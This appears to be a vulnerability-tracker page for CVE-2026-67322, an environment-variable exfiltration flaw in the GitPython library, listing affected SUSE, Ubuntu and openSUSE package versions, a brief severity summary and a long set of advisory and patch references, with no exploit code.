before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-gitUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm20.3.2~RC1-3ubuntu0.1~esm3 |
None known |
python-gitUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm21.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm22.1.8-1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm23.0.7-1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm23.1.24-1ubuntu0.1~esm3 |
None known |
python-gitUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.1.30-13.1.37-13.1.37-33.1.37-3ubuntu0.1~esm2 |
None known |
python-gitUbuntu:26.10 |
All versions, plus listed versions 3.1.46-13.1.50-13.1.61-1 |
None known |
python-gitUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.1.44-13.1.45-13.1.46-13.1.46-1ubuntu0.1~esm1 |
None known |
python-GitPythonopenSUSE:Tumbleweed From an advisory covering 4 CVEs |
before 3.1.58-1.1 | 3.1.58-1.1 |
python-GitPythonopenSUSE:Leap 16.0 From an advisory covering 26 CVEs |
before 3.1.44-160000.4.1 | 3.1.44-160000.4.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-67322 is a high vulnerability (CVSS 8.7) in Gitpython-developers Gitpython, published July 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in gitpython 3.1.52.
References
github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
nvd.nist.gov/vuln/detail/CVE-2026-67322
github.com/advisories/GHSA-m4f3-g4cq-hqrx
github.com/gitpython-developers/GitPython/pull/2172
github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2
Show 194 moreShow less
github.com/gitpython-developers/GitPython/releases/tag/3.1.52
github.com/advisories/GHSA-rwj8-pgh3-r573
github.com/gitpython-developers/GitPython
github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml
pypi.org/project/gitpython
github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67322.json
security-tracker.debian.org/tracker/CVE-2026-67322
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3249
nvd.nist.gov/vuln/detail/CVE-2026-67323
nvd.nist.gov/vuln/detail/CVE-2026-67324
nvd.nist.gov/vuln/detail/CVE-2026-67325
nvd.nist.gov/vuln/detail/CVE-2026-67326
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3250
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3251
access.redhat.com/errata/RHSA-2026:44416
images.redhat.com
access.redhat.com/security/cve/CVE-2026-67322
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-67326
access.redhat.com/security/cve/CVE-2026-67323
access.redhat.com/security/cve/CVE-2026-67325
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_44416.json
bugzilla.redhat.com/show_bug.cgi?id=2510021
cve.org/CVERecord?id=CVE-2026-67322
bugzilla.redhat.com/show_bug.cgi?id=2509976
cve.org/CVERecord?id=CVE-2026-67323
github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
bugzilla.redhat.com/show_bug.cgi?id=2509975
cve.org/CVERecord?id=CVE-2026-67325
github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
bugzilla.redhat.com/show_bug.cgi?id=2510003
cve.org/CVERecord?id=CVE-2026-67326
github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w
vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section
access.redhat.com/errata/RHSA-2026:45785
access.redhat.com/security/cve/CVE-2026-43823
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_45785.json
bugzilla.redhat.com/show_bug.cgi?id=2506494
cve.org/CVERecord?id=CVE-2026-43823
nvd.nist.gov/vuln/detail/CVE-2026-43823
github.com/apple/swift-crypto/security/advisories/GHSA-8q93-f6xh-4f6f
access.redhat.com/errata/RHSA-2026:45940
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_45940.json
access.redhat.com/errata/RHSA-2026:59135
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2456187
bugzilla.redhat.com/show_bug.cgi?id=2484099
bugzilla.redhat.com/show_bug.cgi?id=2486729
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2500041
bugzilla.redhat.com/show_bug.cgi?id=2510032
bugzilla.redhat.com/show_bug.cgi?id=2510825
bugzilla.redhat.com/show_bug.cgi?id=2510831
bugzilla.redhat.com/show_bug.cgi?id=2511095
bugzilla.redhat.com/show_bug.cgi?id=2511900
bugzilla.redhat.com/show_bug.cgi?id=2511901
bugzilla.redhat.com/show_bug.cgi?id=2511902
bugzilla.redhat.com/show_bug.cgi?id=2515261
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59135.json
access.redhat.com/security/cve/CVE-2026-15307
cve.org/CVERecord?id=CVE-2026-15307
nvd.nist.gov/vuln/detail/CVE-2026-15307
docs.djangoproject.com/en/dev/releases/security
github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e
github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa
github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6
github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520
groups.google.com/g/django-announce
djangoproject.com/weblog/2026/aug/04/security-releases
access.redhat.com/security/cve/CVE-2026-34993
cve.org/CVERecord?id=CVE-2026-34993
nvd.nist.gov/vuln/detail/CVE-2026-34993
github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00
github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8
access.redhat.com/security/cve/CVE-2026-39373
cve.org/CVERecord?id=CVE-2026-39373
nvd.nist.gov/vuln/detail/CVE-2026-39373
github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4
access.redhat.com/security/cve/CVE-2026-44705
cve.org/CVERecord?id=CVE-2026-44705
nvd.nist.gov/vuln/detail/CVE-2026-44705
github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65
access.redhat.com/security/cve/CVE-2026-52902
cve.org/CVERecord?id=CVE-2026-52902
nvd.nist.gov/vuln/detail/CVE-2026-52902
access.redhat.com/security/cve/CVE-2026-59886
cve.org/CVERecord?id=CVE-2026-59886
nvd.nist.gov/vuln/detail/CVE-2026-59886
access.redhat.com/security/cve/CVE-2026-67324
cve.org/CVERecord?id=CVE-2026-67324
vulncheck.com/advisories/gitpython-authentication-bypass-via-joined-short-options
access.redhat.com/security/cve/CVE-2026-69243
cve.org/CVERecord?id=CVE-2026-69243
nvd.nist.gov/vuln/detail/CVE-2026-69243
access.redhat.com/security/cve/CVE-2026-69244
cve.org/CVERecord?id=CVE-2026-69244
nvd.nist.gov/vuln/detail/CVE-2026-69244
access.redhat.com/security/cve/CVE-2026-71364
cve.org/CVERecord?id=CVE-2026-71364
nvd.nist.gov/vuln/detail/CVE-2026-71364
cve.org/CVERecord?id=CVE-2026-71365
nvd.nist.gov/vuln/detail/CVE-2026-71365
cve.org/CVERecord?id=CVE-2026-71366
nvd.nist.gov/vuln/detail/CVE-2026-71366
cve.org/CVERecord?id=CVE-2026-73620
nvd.nist.gov/vuln/detail/CVE-2026-73620
vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read
bugzilla.redhat.com/show_bug.cgi?id=2523215
cve.org/CVERecord?id=CVE-2026-78677
nvd.nist.gov/vuln/detail/CVE-2026-78677
vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir
bugzilla.redhat.com/show_bug.cgi?id=2523205
cve.org/CVERecord?id=CVE-2026-78679
nvd.nist.gov/vuln/detail/CVE-2026-78679
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59136.json
cwe.mitre.org/data/definitions/93.html
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71113.json
go.dev/cl/814980
go.dev/issue/80405
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-5972
go.dev/cl/774481
go.dev/issue/79217
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5038
go.dev/cl/795540
go.dev/issue/80205
pkg.go.dev/vuln/GO-2026-6089
go.dev/cl/807100
go.dev/issue/80435
pkg.go.dev/vuln/GO-2026-6091
go.dev/cl/803320
go.dev/issue/80481
pkg.go.dev/vuln/GO-2026-6088
go.dev/cl/803681
go.dev/issue/80494
pkg.go.dev/vuln/GO-2026-6218
go.dev/cl/804261
go.dev/issue/80528
pkg.go.dev/vuln/GO-2026-6090
vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module
vulncheck.com/advisories/dompurify-before-cross-site-scripting-via-in-place-hook
vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71114.json
suse.com/support/update/announcement/2026/suse-su-20264072-1
bugzilla.suse.com/1264604
bugzilla.suse.com/1264605
bugzilla.suse.com/1264606
bugzilla.suse.com/1264608
bugzilla.suse.com/1273357
bugzilla.suse.com/1273358
bugzilla.suse.com/1273359
bugzilla.suse.com/1273364
bugzilla.suse.com/1273414
bugzilla.suse.com/1273498
bugzilla.suse.com/1275745
bugzilla.suse.com/1275746
bugzilla.suse.com/1275747
bugzilla.suse.com/1275748
bugzilla.suse.com/1275749
bugzilla.suse.com/1275750
bugzilla.suse.com/1275751
bugzilla.suse.com/1275752
bugzilla.suse.com/1275753
bugzilla.suse.com/1275754
suse.com/security/cve/CVE-2026-42215
suse.com/security/cve/CVE-2026-42284
suse.com/security/cve/CVE-2026-44243
suse.com/security/cve/CVE-2026-44244
suse.com/security/cve/CVE-2026-67322
suse.com/security/cve/CVE-2026-67323
suse.com/security/cve/CVE-2026-67325
suse.com/security/cve/CVE-2026-67326
suse.com/security/cve/CVE-2026-69097
suse.com/security/cve/CVE-2026-73619
suse.com/security/cve/CVE-2026-73620
suse.com/security/cve/CVE-2026-73621
suse.com/security/cve/CVE-2026-73622
suse.com/security/cve/CVE-2026-73623
suse.com/security/cve/CVE-2026-73624
suse.com/security/cve/CVE-2026-73625
suse.com/security/cve/CVE-2026-76217
suse.com/security/cve/CVE-2026-76218
suse.com/security/cve/CVE-2026-76219
ubuntu.com/security/CVE-2026-67322
Left out here: 54 versions, 331 references and the rest of 5 source descriptions. The JSON record has them.